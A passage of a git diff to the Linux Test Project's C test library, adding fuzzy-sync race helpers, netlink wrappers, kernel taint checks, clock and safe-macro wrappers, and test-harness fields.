-	tst_atomic_store(1, &pair->exit);
+	tst_fzsync_time(&pair->a_end);
+	tst_fzsync_pair_wait(&pair->a_cntr, &pair->b_cntr, &pair->spins);
 }
+
+/**
+ * Marks the start of a race region in thread B
+ *
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_start_race_a
+ */
+static inline void tst_fzsync_start_race_b(struct tst_fzsync_pair *pair)
+{
+	volatile int delay;
+
+	tst_fzsync_wait_b(pair);
+
+	delay = pair->delay;
+	while (delay > 0)
+		delay--;
+
+	tst_fzsync_time(&pair->b_start);
+}
+
+/**
+ * Marks the end of a race region in thread B
+ *
+ * @relates tst_fzsync_pair
+ * @sa tst_fzsync_start_race_a
+ */
+static inline void tst_fzsync_end_race_b(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_time(&pair->b_end);
+	tst_fzsync_pair_wait(&pair->b_cntr, &pair->a_cntr, &pair->spins);
+}
+
+/**
+ * Add some amount to the delay bias
+ *
+ * @relates tst_fzsync_pair
+ * @param change The amount to add, can be negative
+ *
+ * A positive change delays thread B and a negative one delays thread
+ * A.
+ *
+ * It is intended to be used in tests where the time taken by syscall A and/or
+ * B are significantly affected by their chronological order. To the extent
+ * that the delay range will not include the correct values if too many of the
+ * initial samples are taken when the syscalls (or operations within the
+ * syscalls) happen in the wrong order.
+ *
+ * An example of this is cve/cve-2016-7117.c where a call to close() is racing
+ * with a call to recvmmsg(). If close() happens before recvmmsg() has chance
+ * to check if the file descriptor is open then recvmmsg() completes very
+ * quickly. If the call to close() happens once recvmmsg() has already checked
+ * the descriptor it takes much longer. The sample where recvmmsg() completes
+ * quickly is essentially invalid for our purposes. The test uses the simple
+ * heuristic of whether recvmmsg() returns EBADF, to decide if it should call
+ * tst_fzsync_pair_add_bias() to further delay syscall B.
+ */
+static inline void tst_fzsync_pair_add_bias(struct tst_fzsync_pair *pair, int change)
+{
+	if (pair->sampling > 0)
+		pair->delay_bias += change;
+}
+
+#endif /* TST_FUZZY_SYNC_H__ */
diff --git a/include/tst_get_bad_addr.h b/include/tst_get_bad_addr.h
new file mode 100644
index 0000000..aed1752
--- /dev/null
+++ b/include/tst_get_bad_addr.h
@@ -0,0 +1,25 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef TST_GET_BAD_ADDR_H__
+#define TST_GET_BAD_ADDR_H__
+
+/* Functions from lib/tst_get_bad_addr.c */
+void *tst_get_bad_addr(void (*cleanup_fn) (void));
+
+#endif	/* TST_GET_BAD_ADDR_H__ */
diff --git a/include/tst_kernel.h b/include/tst_kernel.h
index 5d5c04c..88941e1 100644
--- a/include/tst_kernel.h
+++ b/include/tst_kernel.h
@@ -23,4 +23,12 @@
  */
 int tst_kernel_bits(void);
 
+/**
+ * Checks support for the kernel driver.
+ *
+ * @param name The name of the driver.
+ * @return Returns 0 if the kernel has the driver or modprobe is missing.
+ */
+int tst_check_driver(const char *name);
+
 #endif	/* TST_KERNEL_H__ */
diff --git a/include/tst_mkfs.h b/include/tst_mkfs.h
index d3aea9e..eb5f664 100644
--- a/include/tst_mkfs.h
+++ b/include/tst_mkfs.h
@@ -22,13 +22,14 @@
  * @dev: path to a device
  * @fs_type: filesystem type
  * @fs_opts: NULL or NULL terminated array of extra mkfs options
+ * @extra_opts: NULL or NULL terminated array of extra mkfs options
  */
 void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void),
 	       const char *dev, const char *fs_type,
-	       const char *const fs_opts[], const char *extra_opt);
+	       const char *const fs_opts[], const char *const extra_opts[]);
 
-#define SAFE_MKFS(device, fs_type, fs_opts, extra_opt) \
+#define SAFE_MKFS(device, fs_type, fs_opts, extra_opts) \
 	tst_mkfs_(__FILE__, __LINE__, NULL, device, fs_type, \
-		  fs_opts, extra_opt)
+		  fs_opts, extra_opts)
 
 #endif	/* TST_MKFS_H__ */
diff --git a/include/tst_netlink.h b/include/tst_netlink.h
new file mode 100644
index 0000000..892ef8f
--- /dev/null
+++ b/include/tst_netlink.h
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/**
+ * @file tst_netlink.h
+ *
+ * Library for communicating with the kernel over the netlink interface.
+ */
+
+#ifndef TST_NETLINK_H
+#define TST_NETLINK_H
+
+#include <linux/netlink.h>
+
+#ifndef NETLINK_CRYPTO
+/**
+ * The netlink-crypto socket protocol.
+ */
+#define NETLINK_CRYPTO 21
+#endif
+
+/** @private */
+static inline ssize_t safe_netlink_send(const char *file, const int lineno,
+					int fd, const struct nlmsghdr *nh,
+					const void *payload)
+{
+	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
+	struct iovec iov[2] = {
+		{(struct nlmsghdr *)nh, sizeof(*nh)},
+		{(void *)payload, nh->nlmsg_len - sizeof(*nh)}
+	};
+	struct msghdr msg = {
+		.msg_name = &sa,
+		.msg_namelen = sizeof(sa),
+		.msg_iov = iov,
+		.msg_iovlen = 2
+	};
+
+	return safe_sendmsg(file, lineno, nh->nlmsg_len, fd, &msg, 0);
+}
+
+/**
+ * Sends a netlink message using safe_sendmsg().
+ *
+ * @param fd netlink socket file descriptor.
+ * @param nl_header netlink header structure describing the message.
+ * @param payload an opaque object containing the message data.
+ *
+ * You should set the message length, type and flags to appropriate values
+ * within the nl_header object. See lib/tst_crypto.c for an example.
+ *
+ * @return The number of bytes sent.
+ */
+#define SAFE_NETLINK_SEND(fd, nl_header, payload)		\
+	safe_netlink_send(__FILE__, __LINE__, fd, nl_header, payload)
+
+/** @private */
+static inline ssize_t safe_netlink_recv(const char *file, const int lineno,
+					int fd, char *nl_headers_buf,
+					size_t buf_len)
+{
+	struct iovec iov = { nl_headers_buf, buf_len };
+	struct sockaddr_nl sa;
+	struct msghdr msg = {
+		.msg_name = &sa,
+		.msg_namelen = sizeof(sa),
+		.msg_iov = &iov,
+		.msg_iovlen = 1
+	};
+
+	return safe_recvmsg(file, lineno, 0, fd, &msg, 0);
+}
+
+/**
+ * Receives a netlink message using safe_recvmsg().
+ *
+ * @param fd netlink socket file descriptor.
+ * @param nl_header_buf buffer to contain the received netlink header structure.
+ * @param buf_len The length of the header buffer. Must be greater than the page
+ *                size.
+ *
+ * @return The number of bytes received.
+ */
+#define SAFE_NETLINK_RECV(fd, nl_header_buf, buf_len)			\
+	safe_netlink_recv(__FILE__, __LINE__, fd, nl_header_buf, buf_len)
+
+#endif /* TST_NETLINK_H */
diff --git a/include/tst_path_has_mnt_flags.h b/include/tst_path_has_mnt_flags.h
new file mode 100644
index 0000000..a9e1f40
--- /dev/null
+++ b/include/tst_path_has_mnt_flags.h
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+#ifndef TST_PATH_HAS_MNT_FLAGS_H__
+#define TST_PATH_HAS_MNT_FLAGS_H__
+
+#ifdef TST_TEST_H__
+# define tst_path_has_mnt_flags(...) tst_path_has_mnt_flags_(NULL, __VA_ARGS__)
+#else
+# define tst_path_has_mnt_flags tst_path_has_mnt_flags_
+#endif
+
+/* lib/tst_path_has_mnt_flags.c
+ *
+ * Check whether a path is on a filesystem that is mounted with
+ * specified flags
+ * @path: path to file, if path is NULL tst_tmpdir is used.
+ * @flags: NULL or NULL terminated array of mount flags
+ *
+ * Return: 0..n - number of flags matched
+ */
+int tst_path_has_mnt_flags_(void (*cleanup_fn)(void),
+		const char *path, const char *flags[]);
+
+#endif	/* TST_PATH_HAS_MNT_FLAGS_H__ */
diff --git a/include/tst_safe_clocks.h b/include/tst_safe_clocks.h
new file mode 100644
index 0000000..1b4d485
--- /dev/null
+++ b/include/tst_safe_clocks.h
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0 or later
+/*
+ *  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ *  Email : code@zilogic.com
+ */
+
+#include <time.h>
+#include "tst_test.h"
+
+static inline void safe_clock_getres(const char *file, const int lineno,
+	clockid_t clk_id, struct timespec *res)
+{
+	int rval;
+
+	rval = clock_getres(clk_id, res);
+	if (rval != 0)
+		tst_brk(TBROK | TERRNO,
+			"%s:%d clock_getres() failed", file, lineno);
+
+}
+
+static inline void safe_clock_gettime(const char *file, const int lineno,
+	clockid_t clk_id, struct timespec *tp)
+{
+	int rval;
+
+	rval = clock_gettime(clk_id, tp);
+	if (rval != 0)
+		tst_brk(TBROK | TERRNO,
+			"%s:%d clock_gettime() failed", file, lineno);
+}
+
+#define SAFE_CLOCK_GETRES(clk_id, res)\
+	safe_clock_getres(__FILE__, __LINE__, (clk_id), (res))
+
+#define SAFE_CLOCK_GETTIME(clk_id, tp)\
+	safe_clock_gettime(__FILE__, __LINE__, (clk_id), (tp))
+
diff --git a/include/tst_safe_macros.h b/include/tst_safe_macros.h
index 06bff13..d31762f 100644
--- a/include/tst_safe_macros.h
+++ b/include/tst_safe_macros.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010-2015 Linux Test Project
+ * Copyright (c) 2010-2018 Linux Test Project
  * Copyright (c) 2011-2015 Cyril Hrubis <chrubis@suse.cz>
  *
  * This program is free software: you can redistribute it and/or modify
@@ -30,6 +30,7 @@
 #include <stdarg.h>
 #include <unistd.h>
 #include <dirent.h>
+#include <grp.h>
 
 #include "safe_macros_fn.h"
 
@@ -47,6 +48,10 @@
 #define SAFE_CREAT(pathname, mode) \
 	safe_creat(__FILE__, __LINE__, NULL, (pathname), (mode))
 
+#define SAFE_CHROOT(path) \
+	safe_chroot(__FILE__, __LINE__, (path))
+int safe_chroot(const char *file, const int lineno, const char *path);
+
 #define SAFE_DIRNAME(path) \
 	safe_dirname(__FILE__, __LINE__, NULL, (path))
 
@@ -109,6 +114,18 @@
 #define SAFE_SETUID(uid) \
 	safe_setuid(__FILE__, __LINE__, NULL, (uid))
 
+int safe_setregid(const char *file, const int lineno,
+		  gid_t rgid, gid_t egid);
+
+#define SAFE_SETREGID(rgid, egid) \
+	safe_setregid(__FILE__, __LINE__, (rgid), (egid))
+
+int safe_setreuid(const char *file, const int lineno,
+		  uid_t ruid, uid_t euid);
+
+#define SAFE_SETREUID(ruid, euid) \
+	safe_setreuid(__FILE__, __LINE__, (ruid), (euid))
+
 #define SAFE_GETRESUID(ruid, euid, suid) \
 	safe_getresuid(__FILE__, __LINE__, NULL, (ruid), (euid), (suid))
 
@@ -201,18 +218,18 @@
 	safe_readdir(__FILE__, __LINE__, NULL, (dirp))
 
 #define SAFE_IOCTL(fd, request, ...)                         \
-	({int ret = ioctl(fd, request, ##__VA_ARGS__);       \
-	  ret < 0 ?                                          \
+	({int tst_ret_ = ioctl(fd, request, ##__VA_ARGS__);  \
+	  tst_ret_ < 0 ?                                     \
 	   tst_brk(TBROK | TERRNO,                           \
 	            "ioctl(%i,%s,...) failed", fd, #request) \
-	 : ret;})
+	 : tst_ret_;})
 
 #define SAFE_FCNTL(fd, cmd, ...)                            \
-	({int ret = fcntl(fd, cmd, ##__VA_ARGS__);          \
-	  ret == -1 ?                                       \
+	({int tst_ret_ = fcntl(fd, cmd, ##__VA_ARGS__);     \
+	  tst_ret_ == -1 ?                                  \
 	   tst_brk(TBROK | TERRNO,                          \
 	            "fcntl(%i,%s,...) failed", fd, #cmd), 0 \
-	 : ret;})
+	 : tst_ret_;})
 
 /*
  * following functions are inline because the behaviour may depend on
@@ -397,6 +414,12 @@
 #define SAFE_SIGNAL(signum, handler) \
 	safe_signal(__FILE__, __LINE__, (signum), (handler))
 
+int safe_sigaction(const char *file, const int lineno,
+                   int signum, const struct sigaction *act,
+                   struct sigaction *oldact);
+#define SAFE_SIGACTION(signum, act, oldact) \
+	safe_sigaction(__FILE__, __LINE__, (signum), (act), (oldact))
+
 #define SAFE_EXECLP(file, arg, ...) do {                   \
 	execlp((file), (arg), ##__VA_ARGS__);              \
 	tst_brk_(__FILE__, __LINE__, TBROK | TERRNO,       \
@@ -413,6 +436,25 @@
 #define SAFE_GETPRIORITY(which, who) \
 	safe_getpriority(__FILE__, __LINE__, (which), (who))
 
+struct group *safe_getgrnam(const char *file, const int lineno,
+			    const char *name);
+#define SAFE_GETGRNAM(name) \
+	safe_getgrnam(__FILE__, __LINE__, (name))
+
+struct group *safe_getgrnam_fallback(const char *file, const int lineno,
+		const char *name, const char *fallback);
+#define SAFE_GETGRNAM_FALLBACK(name, fallback) \
+	safe_getgrnam_fallback(__FILE__, __LINE__, (name), (fallback))
+
+struct group *safe_getgrgid(const char *file, const int lineno, gid_t gid);
+#define SAFE_GETGRGID(gid) \
+	safe_getgrgid(__FILE__, __LINE__, (gid))
+
+ssize_t safe_getxattr(const char *file, const int lineno, const char *path,
+	const char *name, void *value, size_t size);
+#define SAFE_GETXATTR(path, name, value, size) \
+	safe_getxattr(__FILE__, __LINE__, (path), (name), (value), (size))
+
 int safe_setxattr(const char *file, const int lineno, const char *path,
             const char *name, const void *value, size_t size, int flags);
 #define SAFE_SETXATTR(path, name, value, size, flags) \
@@ -433,6 +475,16 @@
 #define SAFE_REMOVEXATTR(path, name) \
 	safe_removexattr(__FILE__, __LINE__, (path), (name))
 
+int safe_lremovexattr(const char *file, const int lineno, const char *path,
+		const char *name);
+#define SAFE_LREMOVEXATTR(path, name) \
+	safe_lremovexattr(__FILE__, __LINE__, (path), (name))
+
+int safe_fremovexattr(const char *file, const int lineno, int fd,
+		const char *name);
+#define SAFE_FREMOVEXATTR(fd, name) \
+	safe_fremovexattr(__FILE__, __LINE__, (fd), (name))
+
 int safe_fsync(const char *file, const int lineno, int fd);
 #define SAFE_FSYNC(fd) safe_fsync(__FILE__, __LINE__, (fd))
 
@@ -444,6 +496,19 @@
 #define SAFE_MKNOD(pathname, mode, dev) \
 	safe_mknod(__FILE__, __LINE__, (pathname), (mode), (dev))
 
+int safe_mlock(const char *file, const int lineno, const char *addr,
+	size_t len);
+#define SAFE_MLOCK(addr, len) safe_mlock(__FILE__, __LINE__, (addr), (len))
+
+int safe_munlock(const char *file, const int lineno, const char *addr,
+	size_t len);
+#define SAFE_MUNLOCK(addr, len) safe_munlock(__FILE__, __LINE__, (addr), (len))
+
+int safe_mincore(const char *file, const int lineno, void *start,
+	size_t length, unsigned char *vec);
+#define SAFE_MINCORE(start, length, vec) \
+	safe_mincore(__FILE__, __LINE__, (start), (length), (vec))
+
 int safe_fanotify_init(const char *file, const int lineno,
 	unsigned int flags, unsigned int event_f_flags);
 #define SAFE_FANOTIFY_INIT(fan, mode)  \
diff --git a/include/tst_safe_net.h b/include/tst_safe_net.h
index 104184d..d0c0a1d 100644
--- a/include/tst_safe_net.h
+++ b/include/tst_safe_net.h
@@ -26,9 +26,15 @@
 
 #include "safe_net_fn.h"
 
+#define TST_GETSOCKPORT(sockfd) \
+	tst_getsockport(__FILE__, __LINE__, sockfd)
+
 #define SAFE_SOCKET(domain, type, protocol) \
 	safe_socket(__FILE__, __LINE__, NULL, domain, type, protocol)
 
+#define SAFE_GETSOCKOPT(fd, level, optname, optval, optlen) \
+	safe_getsockopt(__FILE__, __LINE__, fd, level, optname, optval, optlen)
+
 #define SAFE_SETSOCKOPT(fd, level, optname, optval, optlen) \
 	safe_setsockopt(__FILE__, __LINE__, fd, level, optname, optval, optlen)
 
@@ -45,6 +51,12 @@
 	safe_sendto(__FILE__, __LINE__, strict, fd, buf, len, flags, \
 		    dest_addr, addrlen)
 
+#define SAFE_SENDMSG(msg_len, fd, msg, flags) \
+	safe_sendmsg(__FILE__, __LINE__, msg_len, fd, msg, flags)
+
+#define SAFE_RECVMSG(msg_len, fd, msg, flags)		\
+	safe_recvmsg(__FILE__, __LINE__, msg_len, fd, msg, flags)
+
 #define SAFE_BIND(socket, address, address_len) \
 	safe_bind(__FILE__, __LINE__, NULL, socket, address, \
 		  address_len)
diff --git a/include/tst_safe_sysv_ipc.h b/include/tst_safe_sysv_ipc.h
index e01957f..4c75005 100644
--- a/include/tst_safe_sysv_ipc.h
+++ b/include/tst_safe_sysv_ipc.h
@@ -39,10 +39,10 @@
 
 int safe_msgctl(const char *file, const int lineno, int msqid, int cmd,
 		struct msqid_ds *buf);
-#define SAFE_MSGCTL(msqid, cmd, buf) do { \
-	safe_msgctl(__FILE__, __LINE__, (msqid), (cmd), (buf)); \
+#define SAFE_MSGCTL(msqid, cmd, buf) ({ \
+	int tst_ret_ = safe_msgctl(__FILE__, __LINE__, (msqid), (cmd), (buf)); \
 	(msqid) = ((cmd) == IPC_RMID ? -1 : (msqid)); \
-	} while (0)
+	tst_ret_;})
 
 int safe_shmget(const char *file, const int lineno, key_t key, size_t size,
 		int shmflg);
@@ -59,9 +59,9 @@
 
 int safe_shmctl(const char *file, const int lineno, int shmid, int cmd,
 		struct shmid_ds *buf);
-#define SAFE_SHMCTL(shmid, cmd, buf) do { \
-	safe_shmctl(__FILE__, __LINE__, (shmid), (cmd), (buf)); \
+#define SAFE_SHMCTL(shmid, cmd, buf) ({ \
+	int tst_ret_ = safe_shmctl(__FILE__, __LINE__, (shmid), (cmd), (buf)); \
 	(shmid) = ((cmd) == IPC_RMID ? -1 : (shmid)); \
-	} while (0)
+	tst_ret_;})
 
 #endif /* TST_SAFE_SYSV_IPC_H__ */
diff --git a/include/tst_sys_conf.h b/include/tst_sys_conf.h
new file mode 100644
index 0000000..784a94d
--- /dev/null
+++ b/include/tst_sys_conf.h
@@ -0,0 +1,21 @@
+/*
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Copyright (c) 2018 Jan Stancek <jstancek@redhat.com>
+ */
+
+#ifndef TST_SYS_CONF_H__
+#define TST_SYS_CONF_H__
+
+struct tst_sys_conf {
+	char path[PATH_MAX];
+	char value[PATH_MAX];
+	struct tst_sys_conf *next;
+};
+
+int tst_sys_conf_save_str(const char *path, const char *value);
+int tst_sys_conf_save(const char *path);
+void tst_sys_conf_restore(int verbose);
+void tst_sys_conf_dump(void);
+
+#endif
diff --git a/include/tst_taint.h b/include/tst_taint.h
new file mode 100644
index 0000000..1039e2d
--- /dev/null
+++ b/include/tst_taint.h
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.de>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/* Usage example
+ *
+ * ...
+ * #include "tst_test.h"
+ * #include "tst_taint.h"
+ * ..
+ * void setup(void)
+ * {
+ *	...
+ *	tst_taint_init(TST_TAINT_W | TST_TAINT_D));
+ *	...
+ * }
+ *
+ * void run(void)
+ * {
+ *	...
+ *	. test code here
+ *	...
+ *	if (tst_taint_check() != 0)
+ *		tst_res(TFAIL, "kernel has issues");
+ *	else
+ *		tst_res(TPASS, "kernel seems to be fine");
+ * }
+ *
+ *
+ *
+ * The above code checks, if the kernel issued a warning (TST_TAINT_W)
+ * or even died (TST_TAINT_D) during test execution.
+ * If these are set after running a test case, we most likely
+ * triggered a kernel bug.
+ */
+
+#ifndef TST_TAINTED_H__
+#define TST_TAINTED_H__
+
+/*
+ * This are all 17 flags that are present in kernel 4.15
+ * see kernel/panic.c in kernel sources
+ *
+ * Not all of them are valid in all kernel versions.
+ */
+#define TST_TAINT_G     (1 <<  0) /* a module with non-GPL license loaded */
+#define TST_TAINT_F     (1 <<  1) /* a module was force-loaded */
+#define TST_TAINT_S     (1 <<  2) /* SMP with Non-SMP kernel */
+#define TST_TAINT_R     (1 <<  3) /* module force unloaded */
+#define TST_TAINT_M     (1 <<  4) /* machine check error occurred */
+#define TST_TAINT_B     (1 <<  5) /* page-release function found bad page */
+#define TST_TAINT_U     (1 <<  6) /* user requested taint flag */
+#define TST_TAINT_D     (1 <<  7) /* kernel died recently - OOPS or BUG */
+#define TST_TAINT_A     (1 <<  8) /* ACPI table has been overwritten */
+#define TST_TAINT_W     (1 <<  9) /* a warning has been issued by kernel */
+#define TST_TAINT_C     (1 << 10) /* driver from drivers/staging was loaded */
+#define TST_TAINT_I     (1 << 11) /* working around BIOS/Firmware bug */
+#define TST_TAINT_O     (1 << 12) /* out of tree module loaded */
+#define TST_TAINT_E     (1 << 13) /* unsigned module was loaded */
+#define TST_TAINT_L     (1 << 14) /* A soft lock-up has previously occurred */
+#define TST_TAINT_K     (1 << 15) /* kernel has been live-patched */
+#define TST_TAINT_X	(1 << 16) /* auxiliary taint, for distro's use */
+
+/*
+ * Initialize and prepare support for checking tainted kernel.
+ *
+ * supply the mask of TAINT-flags you want to check, for example
+ * (TST_TAINT_W | TST_TAINT_D) when you want to check if the kernel issued
+ * a warning or even reported it died.
+ *
+ * This function tests if the requested flags are supported on the
+ * locally running kernel. In case the tainted-flags are already set by
+ * the kernel, there is no reason to continue and TCONF is generated.
+ *
+ * The mask must not be zero.
+ */
+void tst_taint_init(unsigned int mask);
+
+
+/*
+ * check if the tainted flags handed to tst_taint_init() are still not set
+ * during or after running the test.
+ * Calling this function is only allowed after tst_taint_init() was called,
+ * otherwise TBROK will be generated.
+ *
+ * returns 0 or a bitmask of the flags that currently tainted the kernel.
+ */
+unsigned int tst_taint_check(void);
+
+
+#endif /* TST_TAINTED_H__ */
diff --git a/include/tst_test.h b/include/tst_test.h
index eaf7a1f..cbd586c 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -40,6 +40,9 @@
 #include "tst_clone.h"
 #include "tst_kernel.h"
 #include "tst_minmax.h"
+#include "tst_get_bad_addr.h"
+#include "tst_path_has_mnt_flags.h"
+#include "tst_sys_conf.h"
 
 /*
  * Reports testcase result.
@@ -66,8 +69,15 @@
               const char *fmt, ...)
               __attribute__ ((format (printf, 4, 5)));
 
-#define tst_brk(ttype, arg_fmt, ...) \
-	tst_brk_(__FILE__, __LINE__, (ttype), (arg_fmt), ##__VA_ARGS__)
+#define tst_brk(ttype, arg_fmt, ...)						\
+	({									\
+		TST_BRK_SUPPORTS_ONLY_TCONF_TBROK(!((ttype) &			\
+			(TBROK | TCONF | TFAIL))); 				\
+		tst_brk_(__FILE__, __LINE__, (ttype), (arg_fmt), ##__VA_ARGS__);\
+	})
+
+/* flush stderr and stdout */
+void tst_flush(void);
 
 pid_t safe_fork(const char *filename, unsigned int lineno);
 #define SAFE_FORK() \
@@ -123,6 +133,8 @@
 	int format_device:1;
 	int mount_device:1;
 	int needs_rofs:1;
+	int child_needs_reinit:1;
+	int needs_devfs:1;
 	/*
 	 * If set the test function will be executed for all available
 	 * filesystems and the current filesytem type would be set in the
@@ -141,7 +153,7 @@
 
 	/* Options passed to SAFE_MKFS() when format_device is set */
 	const char *const *dev_fs_opts;
-	const char *dev_extra_opt;
+	const char *const *dev_extra_opts;
 
 	/* Device mount options, used if mount_device is set */
 	const char *mntpoint;
@@ -165,6 +177,15 @@
 
 	/* NULL terminated array of resource file names */
 	const char *const *resource_files;
+
+	/* NULL terminated array of needed kernel drivers */
+	const char * const *needs_drivers;
+
+	/*
+	 * NULL terminated array of (/proc, /sys) files to save
+	 * before setup and restore after cleanup
+	 */
+	const char * const *save_restore;
 };
 
 /*
@@ -184,12 +205,21 @@
 #define TEST(SCALL) \
 	do { \
 		errno = 0; \
-		TEST_RETURN = SCALL; \
-		TEST_ERRNO = errno; \
+		TST_RET = SCALL; \
+		TST_ERR = errno; \
 	} while (0)
 
-extern long TEST_RETURN;
-extern int TEST_ERRNO;
+extern long TST_RET;
+extern int TST_ERR;
+
+extern void *TST_RET_PTR;
+
+#define TESTPTR(SCALL) \
+	do { \
+		errno = 0; \
+		TST_RET_PTR = (void*)SCALL; \
+		TST_ERR = errno; \
+	} while (0)
 
 /*
  * Functions to convert ERRNO to its name and SIGNAL to its name.
@@ -203,6 +233,7 @@
  */
 const char *tst_strstatus(int status);
 
+unsigned int tst_timeout_remaining(void);
 void tst_set_timeout(int timeout);
 
 #ifndef TST_NO_DEFAULT_MAIN
diff --git a/include/tst_timer.h b/include/tst_timer.h
index 1b00e3c..577bc88 100644
--- a/include/tst_timer.h
+++ b/include/tst_timer.h
@@ -34,6 +34,11 @@
 #include <sys/time.h>
 #include <time.h>
 
+static inline long long tst_timespec_to_ns(struct timespec t)
+{
+	return t.tv_sec * 1000000000 + t.tv_nsec;
+}
+
 /*
  * Converts timespec to microseconds.
  */
@@ -166,6 +171,12 @@
 	return res;
 }
 
+static inline long long tst_timespec_diff_ns(struct timespec t1,
+					     struct timespec t2)
+{
+	return t1.tv_nsec - t2.tv_nsec + 1000000000LL * (t1.tv_sec - t2.tv_sec);
+}
+
 static inline long long tst_timespec_diff_us(struct timespec t1,
                                              struct timespec t2)
 {
@@ -252,6 +263,14 @@
 void tst_timer_start(clockid_t clk_id);
 
 /*
+ * Returns true if timer started by tst_timer_start() has been running for
+ * longer than ms seconds.
+ *
+ * @ms: Time interval in miliseconds.
+ */
+int tst_timer_expired_ms(long long ms);
+
+/*
  * Marks timer end time.
  */
 void tst_timer_stop(void);
diff --git a/lib/get_high_address.c b/lib/get_high_address.c
deleted file mode 100644
index eed9cf1..0000000
--- a/lib/get_high_address.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* $Header: /cvsroot/ltp/ltp/lib/get_high_address.c,v 1.6 2009/07/20 10:59:32 vapier Exp $ */
-
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- */
-
-#include <unistd.h>
-
-char *get_high_address(void)
-{
-	return (char *)sbrk(0) + (4 * getpagesize());
-}
diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index d0ff419..c702644 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -19,3 +19,8 @@
 tst_res_hexd
 tst_strstatus
 test17
+test18
+test19
+tst_expiration_timer
+test_exec
+test_exec_child
diff --git a/lib/newlib_tests/Makefile b/lib/newlib_tests/Makefile
index afa0937..2fc5016 100644
--- a/lib/newlib_tests/Makefile
+++ b/lib/newlib_tests/Makefile
@@ -10,6 +10,7 @@
 test15: CFLAGS+=-pthread
 test16: CFLAGS+=-pthread
 test16: LDLIBS+=-lrt
+tst_expiration_timer: LDLIBS+=-lrt
 
 ifeq ($(ANDROID),1)
 FILTER_OUT_MAKE_TARGETS	+= test08
diff --git a/lib/newlib_tests/test16.c b/lib/newlib_tests/test16.c
index d80bd53..f453968 100644
--- a/lib/newlib_tests/test16.c
+++ b/lib/newlib_tests/test16.c
@@ -27,51 +27,54 @@
 #include "tst_fuzzy_sync.h"
 
 /* LOOPS * 2 + 1 must be less than INT_MAX */
-#define LOOPS 0xFFFFFFULL
+#define LOOPS 0xFFFFULL
 
-static pthread_t thrd;
 static volatile char seq[LOOPS * 2 + 1];
-static struct tst_fzsync_pair pair = TST_FZSYNC_PAIR_INIT;
+static struct tst_fzsync_pair pair;
 static volatile int seq_n;
-static volatile int iterations;
+static volatile char last_wins;
+
+static void setup(void)
+{
+	pair.exec_loops = LOOPS;
+	tst_fzsync_pair_init(&pair);
+}
 
 static void *worker(void *v LTP_ATTRIBUTE_UNUSED)
 {
 	unsigned long long i;
 
-	for (i = 0; tst_fzsync_wait_update_b(&pair); i++) {
-		tst_fzsync_delay_b(&pair);
-		tst_fzsync_time_b(&pair);
